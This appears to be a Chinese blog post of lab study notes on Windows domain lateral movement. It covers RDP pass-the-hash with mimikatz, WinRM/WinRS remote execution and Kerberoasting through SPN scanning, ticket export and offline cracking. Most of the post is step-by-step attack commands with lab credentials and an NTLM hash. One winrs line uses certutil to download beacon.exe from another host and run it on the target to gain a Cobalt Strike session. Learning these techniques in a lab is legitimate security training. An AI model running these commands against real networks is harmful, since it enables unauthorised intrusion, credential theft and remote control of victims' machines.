内网安全第一百三十一天

内网安全-横向移动&Kerberos攻击&SPN扫描&WinRM&WinRS&RDP

目录

内网安全-横向移动&Kerberos攻击&SPN扫描&WinRM&WinRS&RDP

#知识点:

 域横向移动-RDP-明文&NTLM

1.探针服务:

2.探针连接:

3.连接执行:

域横向移动-WinRM&WinRS-明文&NTLM

攻击机开启:

1.探针可用:

2.连接执行:

3.上线CS&MSF:

4.CS内置移动

域横向移动-Spn&Kerberos-请求&破解&重写


#知识点:

1、横向移动-RDP

2、横向移动-WinRS&WinRM

3、横向移动-SPN&Kerberos

域横向移动-RDP-明文&NTLM

 域横向移动-RDP-明文&NTLM

远程桌面服务 支持明文及HASH连接

条件:对方开启RDP服务 远程桌面

1.探针服务:

cs 内置端口扫描3389

tasklist /svc | find "TermService" # 找到对应服务进程的PID

netstat -ano | find "PID值" # 找到进程对应的端口号

2.探针连接:

CrackMapExec&MSF 批扫用户名密码验证

3.连接执行:

明文连接:

mstsc /console /v:192.168.3.32 /admin

HASH连接:

mimikatz privilege::debug

mimikatz sekurlsa::pth /user:administrator /domain:192.168.3.32 /ntlm:518b98ad4178a53695dc997aa02d455c "/run:mstsc /restrictedadmin"

这个RDP协议就是3389远程桌面连接服务,我们可以利用CS看一下哪些主机开启了3389端口即可。

这里可以看到除了我本机还有域控也开启了3389,那我们就先弄一个代理转发,然后直接在本机利用明文连接到域控

此时我们利用电脑上的mstsc,通过刚才设置的代理用明文密码去连接

此时我们已经登上了。如果和目标主机登录的不是一个账户是不会把它挤掉的,但是在任务管理器的用户那里是可以看到的。

我们退出远程桌面后,就会显示已断开。

但是这个动静比较大,不是特别建议,利用hash也是可以连接的。通过CS敲命令即可

域横向移动-WinRM&WinRS-明文&NTLM

WinRM代表Windows远程管理,是一种允许管理员远程执行系统管理任务的服务。

默认情况下支持Kerberos和NTLM身份验证以及基本身份验证。

移动条件:双方都启用的Winrm rs的服务!

使用此服务需要管理员级别凭据。

Windows 2008 以上版本默认自动状态,Windows Vista/win7上必须手动启动;

Windows 2012之后的版本默认允许远程任意主机来管理。

攻击机开启:

winrm quickconfig -q

winrm set winrm/config/Client @{TrustedHosts="*"}

1.探针可用:

cs 内置端口扫描5985

powershell Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}

2.连接执行:

winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 whoami

winrs -r:192.168.3.21 -u:192.168.3.21\administrator -p:Admin12345 whoami

3.上线CS&MSF:

winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe beacon.exe & beacon.exe"

4.CS内置移动

WinRM和WinRS其实是一个方法,WinRM是服务名,这个服务开启后,我们可以用WinRS命令连接该目标机器

只不过这个东西要看windows的版本,2008以上默认自动,2012以上默认开启,低版本的就默认关闭。

条件也是比较苛刻吧,双方都启用的Winrm rs的服务

我们这里可以先利用CS扫描5985端口,因为这个WinRM服务就是这个端口

这里可以看到只有win2008和win2012开启了这个5985端口,其他的没开就是因为版本比较老,默认是关闭的。

我们先利用这两条命令把攻击机的Winrm rs服务开启

然后我们直接就可以进行命令执行了,至于上线CS已经讲过很多次了,就是弄个后门放到www目录,然后构造下载地址即可。

在CS上面也是可以利用这个进行横向移动的,方便许多。

补充:这里还可以看到ssh,那就是移动到linux的时候可以用

域横向移动-Spn&Kerberos-请求&破解&重写

Kerberoasting 攻击的利用:

•SPN服务发现

•请求服务票据

•服务票据的导出

•服务票据的暴力破解

https://github.com/GhostPack/Rubeus

https://github.com/nidem/kerberoast

技术讨论 | 一次详细的Kerberoast攻击演示 - FreeBuf网络安全行业门户

如需利用需要配置策略加密方式(对比)

黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。

DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。

请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。

黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。

如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。

Kerberos攻击条件:

采用rc4加密类型票据,工具Rubeus检测或看票据加密类型

1.扫描:

powershell setspn -T 0day.org -q */*

powershell setspn -T 0day.org -q */* | findstr "MSSQL"

2.检测:

Rubeus kerberoast

3.请求:(要产生票据文件)

powershell Add-Type -AssemblyName System.IdentityModel

powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"

mimikatz kerberos::ask /target:MSSQLSvc/SqlServer.god.org:1433

4.导出:

mimikatz kerberos::list /export

5.破解:

python tgsrepcrack.py pass.txt "1-40a00000-jack@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi"

5.重写:

技术讨论 | 一次详细的Kerberoast攻击演示 - FreeBuf网络安全行业门户

这个SPN相当于是一个信息搜集工具,它和其他的信息搜集的区别就是它会搜集域内的主机的名字以及开启的服务,如果是安装的第三方的可能会搜不出来。但windows官方的一般都能搜出来

我们可以直接在CS里面输入命令进行信息搜集

可以看到会把域内成员主机名搜集出来,以及开启的服务,进行Kerberoas攻击的第一步就是利用SPN进行信息搜集

而Kerberoas服务我们上节课讲过是生成票据的,这个票据的生成是由两种加密模式的,一个是RC4还有一个是AES。而如果加密模式是RC4的话就可以逆向破解,而如果加密模式是AES的话就破解不了了。

我们先可以看一下当前受控主机的票据情况

我这里全都是AES加密的,所以是不行的,只有当加密类型为RC4的时候才是可以的。

这个时候我们刚才已经利用SPN扫描到了域内主机的各个服务,但是不知道哪些服务会使用EC4加密的票据,这里就可以利用工具去看一下存不存在Kerberoas攻击,也就是使用RC4加密票据的服务。由于我这个环境不符合,接下来使用小迪的图讲解

首先利用工具Rubeus,后面跟上kerberoast直接回车即可

但小迪这里是用的exe搞的,给的资源库中没有exe,只有一个文件夹,我也不知道咋搞

这里就会发现存在sqlserver这个服务存在Kerberoas攻击,因为它的加密模式是RC4,然后我们就可以利用powershell或者mimikatz建立连接,建立完连接就会生成RC4加密的票据

这个时候我们在用klist命令看票据就会发现有一个RC4加密的sqlserver服务的票据

当然我们也可以进行手工连接,连接完之后再看票据有没有是RC4加密的票据即可。但是用工具比较方便,直接就可以知道哪些服务存在kerberaost攻击

powershell是两条命令,mimikatz是一条命令,两条命令的最后面是跟服务的名字,因为我们要请求这个服务的资源之后就会生成票据文件

powershell Add-Type -AssemblyName System.IdentityModel

powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"

mimikatz kerberos::ask /target:MSSQLSvc/SqlServer.god.org:1433

然后利用mimikatz把票据文件导出

mimikatz kerberos::list /export

然后利用当初的票据文件放到脚本之中进行破解key即可,也就是脚本目录下,即kerberoast-master这个目录下

这个能不能破解成功还要看pass这个文档里面的密码全不全

最后也是成功的破解出来了密码为Admin12345,然后我们就可以利用这个破解出来的密码进行横向移动

当然也是可以进行重写的,但比较麻烦,小迪说让了解一下,因为kerberaost攻击就是当我们拿下了一台主机然后mimikatz没有抓取到明文密码或者hash的时候采取的方法。就可以利用kerberaost攻击来得到密码之后直接就用于了横向移动了。

5.重写:

技术讨论 | 一次详细的Kerberoast攻击演示 - FreeBuf网络安全行业门户

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

xiaopeisec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值